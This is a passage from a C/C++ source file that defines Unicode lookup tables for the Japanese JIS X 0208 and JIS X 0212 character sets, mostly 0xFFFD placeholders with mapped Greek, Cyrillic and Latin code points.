0x9F6C, 0x9F6A, 0x9F77, 0x9F72, 0x9F76, 0x9F95, 0x9F9C, 0x9FA0, 0x582F,
0x69C7, 0x9059, 0x7464, 0x51DC, 0x7199, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD
};
// Code page for JIS X 0212 from JIS0212.TXT, except that narrow tilde
// has been replaced by fullwidth tilde U+FF5E (Unicode 1.1).
const unsigned short CodePageJISX0212[8836] = {
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0x02D8, 0x02C7, 0x00B8, 0x02D9, 0x02DD, 0x00AF, 0x02DB, 0x02DA, 0xFF5E,
0x0384, 0x0385, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0x00A1, 0x00A6, 0x00BF, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x00BA, 0x00AA, 0x00A9,
0x00AE, 0x2122, 0x00A4, 0x2116, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0x0386, 0x0388, 0x0389, 0x038A, 0x03AA, 0xFFFD,
0x038C, 0xFFFD, 0x038E, 0x03AB, 0xFFFD, 0x038F, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0x03AC, 0x03AD, 0x03AE, 0x03AF, 0x03CA, 0x0390, 0x03CC, 0x03C2,
0x03CD, 0x03CB, 0x03B0, 0x03CE, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0x0402, 0x0403, 0x0404, 0x0405, 0x0406, 0x0407,
0x0408, 0x0409, 0x040A, 0x040B, 0x040C, 0x040E, 0x040F, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x0452, 0x0453, 0x0454,
0x0455, 0x0456, 0x0457, 0x0458, 0x0459, 0x045A, 0x045B, 0x045C, 0x045E,
0x045F, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x00C6, 0x0110, 0xFFFD, 0x0126,
0xFFFD, 0x0132, 0xFFFD, 0x0141, 0x013F, 0xFFFD, 0x014A, 0x00D8, 0x0152,
0xFFFD, 0x0166, 0x00DE, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0x00E6, 0x0111, 0x00F0, 0x0127, 0x0131, 0x0133, 0x0138, 0x0142,
0x0140, 0x0149, 0x014B, 0x00F8, 0x0153, 0x00DF, 0x0167, 0x00FE, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
